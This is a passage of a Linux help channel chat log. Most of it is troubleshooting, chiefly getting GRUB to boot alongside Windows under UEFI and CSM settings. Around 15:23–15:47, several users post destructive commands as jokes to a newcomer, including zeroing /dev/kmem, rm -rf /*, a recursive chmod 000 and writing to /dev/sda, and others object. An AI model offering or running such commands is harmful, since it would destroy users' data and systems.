the path windows installs its payload in 13:02 < MrElendig> rendar: as I said, you can mount the installed system and chroot in 13:02 < MrElendig> and I call bs on debian install image only having 3 commands 13:03 < rendar> MrElendig: in this f. debian CD the command line is _VERY_ limited 13:03 < MrElendig> (literally impossible) 13:03 < rendar> i would send you a picture :) 13:03 < TJ-> rendar: oh hang on, is it 1 of those broken models? What's the make/model of this PC? 13:03 < rendar> TJ-: it's not, it's asus rog zenith extreme, the motherboard 13:03 < rendar> with amd threadripper as the cpu 13:04 < TJ-> rendar: And you say you cannot disable Secure Boot in it's setup pages? 13:04 < rendar> before, when CSM was enabled, bios let me choose to start from EFI partition and which one, if grub or windows, but now that MrElendig told me to disable CSM, my boot order is much more limited 13:04 < rendar> and i can chose ONLY "UEFI CD" and "UEFI Windows 10" 13:05 < rendar> so basically grub get totally ignored 13:05 < rendar> TJ-: basically yes, but i can set an options that practically disables it, since i can run debian install cd 13:05 < tomty89`> so you register it to uefi 13:06 < MrElendig> rendar: because there is no entry for grub in the nvram table at the moment 13:06 < TJ-> rendar: just reading that mobo's manual now 13:06 < MrElendig> (or you have broken hardware) 13:06 < rendar> tomty89: how? 13:06 < rendar> MrElendig: the hardware is not broken 13:07 < tomty89> rendar: efibootmgr, or simply reinstall grub 13:07 < rendar> MrElendig: if i enable CSM i can boot grub, if i disable it, only Windows starts (or live cd) 13:07 < rendar> tomty89: the thing is i need some kind of live cd full of those tools, becuase the debian install cd isn't helping me at all, it lacks all commands basically 13:08 < tomty89> rendar: and? doesn't the live cd support uefi booting? 13:08 < rendar> tomty89: i don't have the commands!! grub-install is not present, and efibootmgr too! 13:08 < rendar> how i can run them? 13:08 < TJ-> rendar: pages 3-20 3-21 detail the Boot menu. That says Secure Boot can be configured/disabled from the Boot menu 13:09 < MrElendig> rendar: that doesn't prove that it is not broken in the way I described 13:09 < tomty89> rendar: oh i see what you mean now. no idea how the debian cd could lack of grub-install tho 13:10 < TJ-> rendar: which debian ISO are you using? it sounds like you're not using the Live Try environment but the direct 'Install' environment which has a limited single user shell 13:10 < rendar> TJ-: stretch 13:11 < rendar> TJ-: why on Earth the installation cd should have a limited environment and not a full one? 13:11 < BluesKaj> rendar, switch to 'try ubuntu" instead of install 13:11 < rendar> trying 13:11 < BluesKaj> try debian rather 13:11 < TJ-> rendar: because the installer doesn't need a full multu-user environment, it is there just to host the debian-installer and it's components 13:12 < TJ-> BluesKaj: :) 13:12 < rendar> let's see 13:13 < ejsf> if you would place some custom scripts (that are not associated with a package) on your system, would you place them in /usr/local/bin/, or in /opt/ ? 13:13 < peetaur2> rendar: because a text shell is so futuristic that it exceeds the capacity of the dvd (yeah I agree...they're dumb... ubuntu and debian are the worst with busybox instead of a real shell, and not having parted, etc. available without figuring out how to load thos udeb things) 13:13 < rendar> CD main page: 1) graphical install 2) install 3) advanced options 4) install with speech sysnthesis (very useful) -- Advanced options page: 1) graphical expert install 2) graphical rescue mode 3) grpahical automated install 4) expert install 5) rescue mode 6) automated install 7) speech enabled advanced options 13:14 < rendar> peetaur2: right. i agree with you 13:15 < nothos> Hey all, had a VM crash and looks like we have fs issues 13:16 < stevendale> o/ 13:16 < nothos> ie the output of an ls -l in /lib/x86_64-linux-gnu gives: ?????????? ? ? ? ? ? libssl.so.1.0.0 13:16 < Hanumaan> this shows that partition scheme is dos .. can it be changed to gpt? https://paste.ubuntu.com/p/hwbQ94ZWKj/ 13:16 < supay> guys, has anybody used pdf2htmlex, if so, do you understand the relation between the css classes and the positions of elements? 13:17 < rendar> TJ-: so? do i need another live cd to do that? 13:18 < TJ-> rendar: does the boot page title show it using GRUB ? 13:18 < rendar> TJ-: grub successfully started before, and linux ran 13:18 < TJ-> rendar: because that list looks to me like the syslinux/isolinux menu - and THAT implies the installer booted in BIOS/CSM mode, not UEFI 13:18 < lopid> grr, why isn't smartfilter.pl working today 13:18 < rendar> TJ-: when i disabled CSM as MrElendig suggested, grub doesn't start anymore 13:19 < TJ-> rendar: right, in the hybrid ISOs GRUB is used for UEFI boot, iso/syslinux is used for BIOS/CSM boot 13:19 < rendar> TJ-: jesus! i have just disabled CSM under MrElendig suggestion, if it's that the case it means debian cd messes up bios options 13:20 < MrElendig> rendar: as I said, when grub was installed in legacy mode it never added an entry to the boot table 13:20 < rendar> TJ-: hybrid ISOs? damn! i spent hours to download this, can you give me some help to get the correct debian iso? 13:20 < TJ-> rendar: no, it means if CSM is disabled, GRUB's efi boot manager should load. You're seeing a boot menu yes? therefore at the top there ought to be a title showing the GRUB version 13:20 < MrElendig> so check with efibootmgr what is actuall in the boot table 13:20 < rendar> TJ-: no! i don;t see a boot menu 13:20 < rendar> TJ-: right now it just starts windows, like if linux isn't installed at all 13:21 < TJ-> rendar: you've got the correct ISO. The hybrid ISOs are a single image that can boot in native ISO-9660/El-Torito mode, BIOS/CSM mode (using syslinux) and UEFI mode (using GRUB) 13:21 < rendar> TJ-: ok, now i have just to make grub signed as UEFI, so it can start again 13:21 < rendar> if i got it.. 13:22 < TJ-> rendar: OK, that tells us something useful then. It suggests that Windows/UEFI 'Fast boot' mode (or whatever it is called) is in use. In Windows, there's an option from the Start menu to do a full shutdown - someone else will have to tell you how to ensure that since I don't use Windows 13:22 < rendar> TJ-: do i have to turn off Fast boot? 13:22 < TJ-> rendar: but the problem with Windows Fast Boot is it tells the PC's UEFI not to go through the usual boot-device search process, but to immediately boot Windows 13:22 < rendar> TJ-: i have that options into the bios 13:23 < TJ-> rendar: I believe you just need to disable it in Windows by doing a 'full' shutdown/reboot. I think someone said holding down Shift whilst doing 'Shutdown' triggers it but I'm not sure. Find a Windows expert! 13:23 < doublehp> is it possible for rootto mount an ext4 device a way that one given user will have all permissions on it, via the mount command, and without chown -R ? 13:23 < TJ-> rendar: if it's in UEFI setup too, try disabling it there. 13:25 < rendar> let's see 13:25 < doublehp> is it possible to reroute the beep command to use the PCM output instead of the beep channel ? my beep channel has volume too loud for me, even at minimum level; mute works, but I need to use beeps 13:25 < rendar> nothing 13:25 < rendar> it starts only windows, no grub! 13:26 < TJ-> rendar: if fast boot is off, then the next obvious issue is the UEFI setup's Boot options aren't scanning the installer device first, which I assume is a USB? check the boot device order 13:26 < TJ-> rendar: and disable Secure Boot whilst there :) 13:27 < rendar> i have only 1 option 13:27 < rendar> Windows Boot Manager (samsung SSD 960 pro) 13:27 < rendar> as you can see, it boots directly windows 13:27 < rendar> from the bios! 13:32 < fakefur> rendar what machine do you have? 13:32 < rendar> asus rog zenith extreme + amd thread ripper 13:32 < fakefur> hmmmm 13:32 < rendar> ok now grub starts!!!! 13:32 < fakefur> seems like the uefi boot is locked down 13:32 < rendar> i have enables CSM again and grub now starts 13:32 < noodlepie> Hiya guys! 13:33 < rendar> if i disable CSM as MrElendig said, bios only starts windows 13:33 < fakefur> csm? 13:33 < noodlepie> 4.16.1-gentoo running stable here. Ace! 13:33 < dgurney> who cares 13:33 < peetaur2> that poor thread ripper... trapped in an ASUS board 13:33 < rendar> fakefur https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface#CSM_booting 13:34 < fakefur> rendar at least you have it working now :) 13:34 < rendar> fakefur: but i cannot start Windows! 13:35 < djph> peetaur2: it could be worse. 13:37 < fakefur> seems like csm wont allow windows to boot 13:37 < fakefur> is the drive gpt? or mbr? 13:38 < TJ-> rendar: that sounds like GRUB has started only in BIOS/syslinux mode 13:38 < BluesKaj> rendar, try updating grub once you boot into debian, it should pick up your windows install. if not run sudo os-prober then update grub again 13:38 < TJ-> rendar: so the issue is the motherboard's firmware settings. If you cannot disable Secure Boot there, *and* the Debian ISO doesn't include a signed EI boot loader for GRUB, then the PC won't show the Debian Installer as an option 13:39 < fakefur> TJ- thats what i was thinking 13:39 < TJ-> rendar: you should try an Ubuntu Live ISO as a comparision which definitely does have a signed GRUB EFI which works in Secure Boot mode 13:39 < TJ-> rendar: I'm not familiar enough with the specifics of the Debian ISOs vs Ubuntu 13:40 < MrElendig> TJ-: "other os" option is basically disabled 13:40 < MrElendig> TJ-: there is two likely issues: 1. simply lacking an entry in the boot table 2. broken af firmware that only loads from the path ms uses 13:40 < TJ-> MrElendig: reading the manual for the Mobo suggests S.B. is configurable 13:41 < MrElendig> TJ-: just non-obvious name for "disable2 13:41 < TJ-> MrElendig: we see that with notebooks/laptops like Acer and HP, but never seen the pre-defined paths issue on Asus 13:41 < MrElendig> my asus board also calls "disable" "other os" 13:42 < TJ-> MrElendig: that's weird, and annoying/worrying. These manufacturer lock-downs are becoming a real pain. 13:42 < MrElendig> the #1 is the most likely issue since he booted the debian installer in legacy mode 13:42 < MrElendig> or so it seems 13:42 < TJ-> It definitely needs testing with a known Secure-Boot-able ISO 13:42 < MrElendig> TJ-: it isn't really a disable, it still checks signatures if available, but if not signature it will still boot 13:42 < fakefur> i was thinking he should install debian in non-legacy mode 13:43 < MrElendig> fakefur: don't have to reinstall the whole of debian, just have to add an entry to the nvram and maybe update the fstab 13:43 < fakefur> MrElendig i bow to superior knowledge 13:43 < fakefur> :) 13:44 < TJ-> MrElendig: but 'checks signatures' could mean 2 things: 1) the boot-loader still needs a signature block even if the certificate cannot be verified or 2) if no signature block just carry on 13:48 < rendar> BluesKaj: yes i agree 13:50 < rendar> now that i booted from linux 13:50 < BluesKaj> rendar, it works in legacy mode here, personally i avoid gpt/uefi since I don't need more then 4 promary partitions on my drives 13:50 < rendar> can i set and UEFI-sign grub from here? 13:50 < BluesKaj> then=than 13:51 < rendar> BluesKaj: the thing is if i avoid gpt/uefi, windows won't start 13:51 < MrElendig> BluesKaj: uhm that makes no sense really 13:51 < MrElendig> you don't need uefi to have more than 4 partitions 13:51 < rendar> MrElendig: now that i'm in linux again, can i UEFI-sign grub from here? 13:51 < MrElendig> rendar: efibootmgr -v 13:52 < BluesKaj> ok, rendar, understood ...I dropped windows a while ago and haven't looked bck 13:52 < rendar> command not found, how i can install the package from apt-get? 13:52 < rendar> ok it's installing it 13:52 < rendar> "EFI variables are not supported on this system" 13:52 < BluesKaj> MrElendig, makes perfect sense to me 13:52 < rendar> WTF!?! 13:52 < MrElendig> modprobe efivars 13:53 < rendar> no such device 13:53 < BluesKaj> MrElendig, primary partitions 13:53 < MrElendig> er.. mount -t efivarfs efivarfs /sys/firmware/efi/efivars 13:54 < MrElendig> BluesKaj: you do know that you don't have to use uefi to use gpt? 13:54 < rendar> ok 13:54 < BluesKaj> i don't need gpt 13:54 < MrElendig> rendar: try efibootmgr again if that mount works 13:54 < MrElendig> BluesKaj: sure, but just saying that uefi has basically nothing to do with the amount of partitions you need 13:55 < BluesKaj> fortunately my BIOS gives me both options 13:55 < MrElendig> sidenote: legacy mode is just emulation on top of uefi on modern hardware, so you are still using uefi 13:55 < rendar> mount point /sys/firmware/efi/efivars doen't exist 13:55 < noodlepie> 4.16.2-gentoo building as we speak... great stuff! 13:56 < MrElendig> rendar: you booted in legacy mode again? 13:56 < MrElendig> rendar: or is this in a chroot? 13:56 < BluesKaj> yeah MrElendig i should have just mentioned gpt and not uefi in my comment 13:56 < rendar> MrElendig: legacy mode, or grub won't start 13:57 < MrElendig> boot with csm disabled and just chroot into the installed system? 13:57 < MrElendig> since you said you managed to boot the install image with csm disabled 13:57 < rendar> MrElendig: i have to mout the system from the cd? 13:57 < rendar> mount* 13:57 < MrElendig> yes 13:58 < rendar> but then i wont have networking 13:58 < alexandre9099> join, can i start two Xorg sessions? if i go to another tty and try to start it i get an error saying that there is already one running 13:58 < MrElendig> yes you will if you just set it up before you chroot 13:59 < alexandre9099> (not sure what the join was for :D) 13:59 < MrElendig> alexandre9099: :1 13:59 < alexandre9099> i tried setting the env var of DISPLAY to :1 but it makes no difference 13:59 < MrElendig> startx -- :1 13:59 < alexandre9099> ok, thanks :) 14:00 < MrElendig> can also specify the vt to run it on 14:00 < MrElendig> startx -- :1 vt8 14:00 < MrElendig> or wherever you want it 14:01 < alexandre9099> is that the same for xinit? 14:01 < rendar> MrElendig: ok i;'m on the live cd shell now, i have to mount the device where there is the lnux system right? 14:03 < MrElendig> mount the root to /mnt/stuff, boot to /mnt/stuff/boot and so on 14:03 < MrElendig> also have to bind mount /sys etc 14:03 < rendar> wait 14:03 < rendar> this f. CD! it doesn't let me mount stuff 14:03 < rendar> mount failed: no such file or directory 14:03 < rendar> but the device is there, and the directory too! 14:05 < MrElendig> https://bpaste.net/show/269182dc387a 14:05 < MrElendig> mkdir -p /mnt/stuff first 14:05 < rendar> man this f. CD doesn't let me mount stuff! 14:07 < rendar> look, can you just me advice some linux live cd? 14:07 < rendar> i can start linux from there.. 14:07 < rendar> a proper linux, with commands and stuff 14:08 < qman__> I usually use system rescue cd for that 14:09 < tiny> Is it possible to route traffic just based on the information on which NIC it came to? 14:10 < Klaus_Dieter> tiny: yes, look at ip rules 14:11 < tiny> Klaus_Dieter: without specifiying networks? 14:12 < tiny> two NICs, two GWs: if it came to NIC 1, route back to NIC 1 and vice versa 14:13 < Pentode> rendar, still can't get it to work? 14:13 < rendar> nope 14:13 < Klaus_Dieter> tiny: with ip rule you can set which routing table is to be used based on which interface the traffic comes in. in the routing tables you can do routing 14:13 < rendar> Pentode: i'm downloading the ubuntu live cd 14:14 < Pentode> oh ok 14:14 < rendar> that f. debian live cd didn't allow me to mount stuff 14:15 < Pentode> weird 14:21 < tiny> Klaus_Dieter: I tried this: http://dpaste.com/3BG0DA4 , no success 14:21 < tiny> Klaus_Dieter: it goes out the other NIC 14:43 < djph> *sigh*, I hate you gnupg2. 14:43 < djph> ... also seems that my google-fu has grown somewhat weak this week :( 14:44 < geirha> back to good ol' rot13 14:45 < djph> well, that, or fix the problem with GPG 1.x 14:46 < djph> ... pain in the ass; broke enigmail :(. it's like systemd for security or something 14:46 < djph> *sigh* 14:48 < revel> geirha: rot52 is better. 14:49 < djph> revel: err, you may want to do your math again. 14:50 < revel> djph: That's the joke. 14:50 < revel> Like rot26, but 2 times better. 14:50 < djph> ... your jokes suck. 14:51 < revel> People don't tend to find jokes funny if they have to have them explained to them. 14:54 < djph> revel: I didn't need it explained, I knew what you were trying to say ... it just was awful. 14:54 < revel> Then why'd you ask me to check my math? 14:56 < djph> Because your poor joke needed a tongue-in-cheek response. If you'd have said ROT39, it would've at least been partially funny. 15:01 < rendar> MrElendig: still here? i'm on a serious live CD now 15:07 < bomb-on> hi all! i am trying to build some static binaries on ubuntu and during the build i got an error about the readline and a suggestion to try to compile it with -fPIC flag... 15:08 < bomb-on> so, i removed readline-dev with apt and tried to compile it myself 15:08 < bomb-on> with that flag included... 15:08 < bomb-on> tried something like this: https://thepasteb.in/p/mwhKc9vAXYn46sm 15:08 < doublehp> bomb-on: /j #c #gcc #dev #develop ... 15:08 < mawk> is it your own program bomb-on ? 15:09 < mawk> why on earth are you setting the CPPFLAGS CFLAGS etc yourself bomb-on ? 15:09 < mawk> uh ok, you want -fpic 15:09 < bomb-on> doublehp ok, will try, ty but i think this is more of a "general" linux question... because i'm not sure if i did all the needed steps with installing readline... 15:09 < bomb-on> i'm getting and error noe "-- Could not find GNU readline library so building without readline support" when trying to build my binaries 15:10 < bomb-on> s/noe/now/ 15:10 < mawk> when doing ./configure ? 15:10 < bomb-on> yeah 15:10 < mawk> and you installed readline-dev or whatever packet you need ? 15:10 < noodlepie> 4.16.2-Gentoo working perfectly here! I wonder if this is the stable Jesus was born in? :) He be computah techno. 15:10 < bomb-on> i tried to set env var export LD_LIBRARY_PATH=/usr/local/lib but it didn't help 15:11 < mawk> it should be a parameter to ./configure bomb-on 15:11 < bomb-on> mawk no, i removed readline-dev because with it, i am getting an error to compile it with -fPIC 15:11 < mawk> could you show the whole transcript ? 15:11 < mawk> in a pastebin 15:11 < bomb-on> sure, sec pls 15:12 < mawk> compile with make V=1 also please 15:13 < mawk> to see the commands being executed 15:13 < bomb-on> ah, alrigh 15:13 < bomb-on> here is without it in the meantime... =) https://thepasteb.in/p/mwhKc9vAXkqoRfm 15:15 < bomb-on> let me just figure out where exactly to put that, i'm not so good at this ^^ 15:17 < kalinite> moo 15:17 < kalinite> ah nvm 15:17 < stevendale> Hi 15:18 < ABCook> hello stevendale 15:18 < stevendale> Emacs is the work of the devil, it'll eat your babies 15:18 < stevendale> o/ 15:18 < stevendale> Wait that's Windows 15:18 < Psi-Jack> kalinite: "nevermind" not "nvm" for future self correction. Yes, it really does matter. 15:18 < rendar> TJ-: still there? 15:18 < ABCook> ic 15:18 < kalinite> Psi-Jack, why tho 15:19 < Psi-Jack> ABCook: "i see" not "ic" for future self correction. Yes, it matters. 15:19 < kalinite> do we have to use - perfect - english at all times? 15:19 < stevendale> ily 15:19 < kalinite> ily2 15:19 < Psi-Jack> kalinite: "though" not "tho".. SMS-speak, or shtspk, is actually in the channel policies here. 15:19 < stevendale> <3 15:19 < kalinite> Psi-Jack, my appologies 15:19 < kalinite> smacktard 15:19 < jkemppainen> if you want to be pedantic, at least do it correctly 15:20 < kalinite> i am a horse 15:20 < jkemppainen> the correct spelling is "never mind". "Nevermind" is a Nirvana album 15:20 < stevendale> I am a typhlosion :3 15:20 < jkemppainen> ;) 15:20 < kalinite> have we all apt-get moo 'd today? 15:20 < mawk> bomb-on: when you compile you type make 15:20 < Dominian> Psi-Jack: borg.. slow 15:20 < stevendale> sudo apt install cowsay 15:20 < Dominian> then again, so was crashplan the first time I ran it 15:20 < kalinite> oh shit thats cool 15:20 < mawk> so you type make V=1 instead 15:20 < Psi-Jack> Dominian: Noooo.... Not slow. :) 15:20 < Psi-Jack> Sure, initially it's slow. :) 15:20 < bomb-on> mawk yeah, i know, but that's some sh script i'm running here... 15:20 < Dominian> hehe 15:21 < mawk> that's not the transcript bomb-on , it's just the commands you type, I want the output of the commands as well, with the errors and all 15:21 < Dominian> Psi-Jack: added in my wife's 300+GB repo that has her youtube videos/editingon it 15:21 < kalinite> what does cowsay do 15:21 < kalinite> will it help me pen test? 15:21 < djph> kalinite: makes it look like a cow said something. 15:21 < bomb-on> mawk of course :) working on it! 15:21 < kalinite> nice 15:21 < djph> kalinite: there is a manpage, you know. 15:21 < kalinite> this is what i needed 15:21 < kalinite> i know but there is also irc 15:22 < Psi-Jack> kalinite: IRC refers you to man. 15:22 < kalinite> nice 15:22 < djph> ^ 15:22 < Psi-Jack> Best to just go direct. :p 15:22 < kalinite> lol 15:22 < stevendale> https://launchpad.net/~vincent-c/+archive/ubuntu/ponysay/+packages 15:22 < kalinite> but its not quite as hilarious 15:22 < stevendale> Ponysay :P 15:22 < kalinite> what commands should i do 15:22 < djph> Psi-Jack: although, there is some catharsis to typing 'rtfm' or 'stfw' at times. 15:22 < kalinite> shall i just wipe my face on the keyboard? 15:22 < Psi-Jack> kalinite: So, you /want/ to be considered a troll to the majority? 15:22 < kalinite> like a real cow 15:22 < kalinite> not quite 15:22 < Psi-Jack> Then I advise you change your attitude. :) 15:23 < kalinite> ok 15:23 < stevendale> But being a troll gives you more attention (negative attention) 15:23 < kalinite> Hi #linux, i want to learn some very - interesting - commands, pleaase 15:23 < djph> Psi-Jack: TBH, he was at "stupid kid who's on mommy's computer without her knowing" 15:23 < stevendale> kalinite dd if=/dev/zero of=/dev/kmem 15:23 < bomb-on> mawk it takes some time to get to the exact error... will poke you when i reach that point ^^ 15:23 < mawk> alright 15:24 < kalinite> stevendale, this does not look safe 15:24 < Psi-Jack> Dominian: stevendale ^ 15:24 * djph burns with desire to send him a forkbomb ... 15:24 < stevendale> kalinite It's only not safe if you're dumb enough to run it as root 15:24 < kalinite> lol i am groot 15:24 * jkemppainen facedesks 15:25 < jkemppainen> can this idiotic conversation stop already 15:25 < kalinite> now that i have identified as a "troll" any suggestions for cmds here will be taken with a bucket of salt 15:25 < kalinite> ok 15:25 < Psi-Jack> kalinite: "commands" not "cmds" 15:25 < kalinite> yeah nice thanks 15:25 < nothos> kalinite find -type f -exec chmodDONOTDOTHIS 000 {} \; (again DO NOT DO THIS) 15:25 < stevendale> kalinite sudo shutdown -h now 15:25 < kalinite> i guess you didint know what i meant 15:25 < mawk> please kalinite tell me how do I safely remove my file ? 15:25 < djph> kalinite: http://linuxcommand.org/tlcl.php <- read the book. 15:25 < kalinite> sudo rm -rf /* 15:25 < nothos> kalinite I mean, they fit the criteria of interesting? What do you want to know about specifically? 15:25 < mawk> alright, let me try it 15:25 < jkemppainen> stop posting destructive commands in here already 15:25 < revel> kalinite: Don't suggest that. 15:26 < nothos> There's a lot of interesting commands 15:26 < kalinite> \o/ 15:26 < stevendale> !ops kalinite Destructive commands for destroying Linux filesystem 15:26 < kalinite> :D 15:26 < Psi-Jack> Heh, says the troll that just recommended wiping out one's kmem with /dev/zero. :p 15:26 < kalinite> sudo shutdown -r 15:26 < kalinite> ill be back 15:26 < stevendale> Do -h so we don't see you again 15:27 < kalinite> haha no thanks but thanks 15:27 < nothos> Does sl count as an interesting command? 15:27 < kalinite> i like curl wttr.in/moon 15:27 < kalinite> thats a nice one 15:27 < stevendale> I think there's a debian package called sl nothos, all it does is correct it to ls 15:27 < stevendale> o/ 15:27 < nothos> stevendale The ubuntu sl package gives a train :D 15:28 < stevendale> Oh o/ 15:28 < kalinite> what command do i use to find true love 15:28 < revel> nothos: I don't think that's a valid find since you didn't specify a root to search through. 15:28 < kalinite> and actually works 15:28 < djph> Psi-Jack: at least knocking out kernel memory just crashes the computer ... 15:28 < mawk> it will be the current working directory revel 15:28 < Psi-Jack> True. 15:28 < mawk> so it's valid 15:28 < nothos> revel I think it's only BSD find that needs an explicit location 15:28 < Psi-Jack> djph: But could also cause corruption. 15:28 < revel> Oh? I thought you had to specify . for cwd. 15:28 < nothos> GNU uses pwd 15:29 < djph> Psi-Jack: yeah, suppose. wonder how many times I have to run it to actually corrupt core system files though ... (time for a VM!) 15:30 < nothos> But also revel I was aiming to give a not good command :D 15:30 < jimm> kalinite, hi... and yeah, please don't post destructive commands 15:30 < revel> I noticed. 15:30 < stevendale> Thanks jimm 15:30 < revel> Though chmod -R is simpler. 15:30 < Psi-Jack> jimm: stevendale too. 15:31 < nothos> That said doing big caps DON'T DO XYZ doesn't mean much if my experience of adding it to motd counts for anything 15:31 < kalinite> jimm, i got the message first time 15:31 < jkemppainen> kalinite: jimm is a channel operator; they're reiterating a channel policy officially, as opposed to the suggestions you were given by non-op users before 15:32 < kalinite> oh ok 15:32 < kalinite> nice 15:32 < Hanumaan> how to mount these loopdevices? : https://paste.ubuntu.com/p/jGF8PT5x5M/ . Image obtained with ddrescue from damaged hdd which had gpt partition table 15:32 < stevendale> dd can't even access block devices without superuser privileges 15:32 < jimm> kalinite, ok... the thing is, there are new folks here, some excited to try commands... 15:32 < kalinite> like me 15:32 < kalinite> for example :D 15:32 < nothos> Hanumaan kpartx -a /dev/loop0 15:32 < nothos> Which will create /dev/mapper/loop0p1 15:32 < nothos> That you can mount :) 15:32 < kalinite> what is the ipconfig equivolent in linux 15:32 < kalinite> coming from windows 15:33 < nothos> Then once done, unmount and kpartx -d /dev/loop0 15:33 < kalinite> I am a - massive - noob btw 15:33 < nothos> kalinite ifconfig / ip address 15:33 < azarus> GRUB has many more features one might expect. a separate /boot is actually very rarely needed! Trying my hand at a RAID6 XFS root filesystem today :) 15:33 < nothos> (Latter assumes you just want the ipconfig show devices and IPs output) 15:34 < kalinite> dump truncated? 15:34 < kalinite> wtf does that mean 15:34 < azarus> truncate = cut off a part 15:34 < kalinite> indeed, but has it cut off the output? 15:34 < Psi-Jack> https://www.merriam-webster.com/dictionary/truncate 15:34 < kalinite> I think it might have 15:34 < nothos> kalinite Where did you see that? 15:34 < nothos> Might help :D 15:34 < jimm> jkemppainen, while that is true (and I don't mind you saying so), it's probably good that people would get those kinds of messages even if staff is busy 15:35 < jimm> oops, gotta go for about an hour an a half 15:35 < Hanumaan> nothos: got this error : https://paste.ubuntu.com/p/nF5CTFtcrR/ 15:36 < nothos> Hanumaan Unfortuntately it's never not worked for me 15:36 < Psi-Jack> kalinite, stevendale: You two got off easy. Usually destructive commands is a no-questions asked instant ban. 15:36 < nothos> So I'm kind of outside of the area of know what the hell is going on there :D 15:37 < stevendale> Psi-Jack: I've never seen any one else do it until now, so I wouldn't know o/ 15:38 < djph> nothos: hmm? 15:38 < nothos> djph hmm hmm? 15:38 < kalinite> nothos 15:38 < kalinite> when i typed ip address 15:39 < kalinite> instant ban 15:39 < kalinite> why is there not a blacklist bot for destructive commands then? 15:39 < nothos> stevendale: Ignorantia juris non excusat 15:39 < djph> nothos: I have no idea anymore :) -- your comment about being "outside the area of knowing what's going on" 15:39 < nothos> Because there are legit reasons for running destructive commands sometimes kalinite 15:39 < djph> kalinite: because typoing a *valid* command can also be an inadvertant dangerous command. 15:40 < revel> Like, say, rm'ing /etc /some_useless_dir_in_etc 15:40 < kalinite> nothos, indeed - when the cops come knocking and you just accessed the NSA 15:40 < nothos> And a bot won't be able to tell "Speed up your system by running rm -rf /*" vs "*Some legitimate reason I struggle to think of requires you to rm -rf /*" 15:40 < kalinite> hi solidfox 15:41 < revel> Why would anyone have any valid reason to run that? 15:41 < nothos> djph Just that I never had to debug issues with kpartx because it always just worked for me 15:41 < nothos> So can't really help debug issues with it much 15:41 < revel> Something to do with dd'ing block devices, maybe, but just removing all files doesn't seem like it'd have much of an useful purpose. 15:42 < djph> nothos: say something like typoing "cd /some/directory/path && rm -rf ./*" 15:42 < nothos> Yeah, exactly 15:42 < Psi-Jack> revel: "How do I uninstall Linux?" 15:42 < Psi-Jack> heh 15:42 < revel> Psi-Jack: That would be where I'd suggest dd'ing. 15:42 < nothos> Also sometimes when a server is due to be sent out to pasture it's fun to think of the most interesting way to hose the system :D 15:42 < revel> Though installing whatever over it works just as well. 15:43 < loganlee> hello im installing openstep 4.2 <3 15:43 < azarus> wipefs -a /dev/ 15:43 < nothos> Is being able to read raw mouse input from /dev/mouse still work? 15:43 < Psi-Jack> azarus: You know what wipefs does, right? heh 15:43 < revel> There's /dev/input/mouse* 15:43 < nothos> Combining with dd could be fun :D 15:44 < solidfox> kalinite, hi 15:44 < azarus> Psi-Jack: delete filesystem magic? 15:44 * ABCook peekS over at stevendale * 15:44 < Psi-Jack> azarus: just the headers. 15:44 < stevendale> Hi ABCook 15:44 < stevendale> Do I know you o/ 15:44 < azarus> Psi-Jack: by magic I meant "headers", lol 15:44 < Psi-Jack> Yep. heh. Just a correction. :) 15:44 * ABCook is now known as GiantGasBag 15:45 < stevendale> Oh I know who that is 15:45 * ABCook xD * 15:45 < revel> Well, `cat /dev/input/mouse0` certainly does *something* 15:45 < nothos> Sometimes the abstraction of hardware is kind of sad. The old days of piping the mouse dev file output into the sound dev file are sorely missed 15:46 < revel> You can still do that. 15:46 < nothos> revel I thought you couldn't do that with ALSA and stuff now? 15:46 < nothos> Coz of the abstraction up from low level hardware 15:47 < revel> Well, piping random stuff into some file in /dev certainly worked for me this week. 15:47 < azarus> yes > /dev/sda 15:47 < azarus> :> 15:48 * azarus BANNED for suggesting destructive commands 15:48 < revel> `dd if=/dev/urandom of=/dev/audio1` 15:48 < StormWarrior> Hey.. I have set up my vnc using vncserver and everytime I log in using a vnc client, I get int root account. I have tried solutions I found on linuxquestions and unix stackexchange whereby you are required to switch user from first vnc connection and start vncserver as non root user. But I am still not able to get in as a non root user... Any ideas where I might me effin it up? 15:48 < azarus> dd being "low-level" is a myth! 15:48 < azarus> cat something.iso > /dev/sdb 15:48 < azarus> works just ifne 15:48 < azarus> fine* 15:48 < revel> I guess mouse movements don't make much, err, data? 15:49 < nothos> Apparently enough for entropy 15:49 < nothos> Nothing like madly flailing your mouse hoping gpg will stop being an arse 15:49 < StormWarrior> lol 15:49 < revel> Wait, it made some noise right as I ^C'd. 15:49 < djph> nothos: even better on VPS systems that have practically no sources of entropy 15:50 < revel> Storing mouse movement data (lol) in a file and then writing it to /dev/audio1 worked, I guess. 15:50 < nothos> djph exactly ;) 15:50 < StormWarrior> rngtools? 15:50 < StormWarrior> that makes enough entropy for me 15:50 < nothos> I just ended up doing an infinite loop of wget pulling in from a random number API 15:50 < nothos> No idea if that helped but it made me feel like I was doing something :D 15:51 < StormWarrior> nothos: have you tried rng-tools? 15:51 < nothos> StormWarrior I did 15:51 < nothos> Didn't help much 15:51 < StormWarrior> nothos: oh.. 15:51 < djph> AIUI, rng-tools (and others) tend to use /dev/urandom ... which is not always what one wants 15:52 < Psi-Jack> rng-tools is only really useful if you have a hardware random number generator. 15:52 < Psi-Jack> rng-tools, by default, does NOT use /dev/urandom. 15:52 < azarus> why is /dev/random blocking on linux? 15:52 < azarus> on other OSs it doesn't block 15:52 < nothos> Does anyone have experience with RNGs? 15:52 < phil42> because the sources of randomness get exhausted 15:52 < nothos> Do they make a big difference or? 15:53 < Psi-Jack> azarus: Because it's intended to be securely random entropy. 15:53 < Psi-Jack> azarus: Predictable randomness is... Well, Predictable, thus insecure. 15:53 < phil42> use /dev/urandom, it is a pseudo random generator that gets constantly reseeded as randomness becomes available 15:53 < revel> https://www.2uo.de/myths-about-urandom/ 15:54 < Psi-Jack> reseeded? Only during boot. 15:54 < Psi-Jack> revel: That website.. Is inaccurate. 15:54 < azarus> soo... are other operating systems "wrong" by making /dev/random non-blocking? 15:54 < Psi-Jack> Lots of false information. :) 15:55 < revel> Psi-Jack: Okay, what's wrong then? 15:55 < Psi-Jack> revel: Everything about the page, pretty much. 15:55 < djph> azarus: for some value of "wrong" (same as blocking is "right" for some value of "right") 15:55 < revel> Great! Got any trustworthy sources on that? 15:55 < Psi-Jack> revel: I'm a cryptologist. 15:55 < revel> Right. Anything else? 15:55 < djph> Psi-Jack: so, ROT13 is good enough, right? :) 15:55 < Psi-Jack> djph: Absolutely. If you want it be easily read again. :) 15:56 < revel> Psi-Jack: Any sources other than that? 15:56 < azarus> Azarus, use frequency analysis! It was super effective! 15:56 < azarus> rot13 fainted. 15:56 < 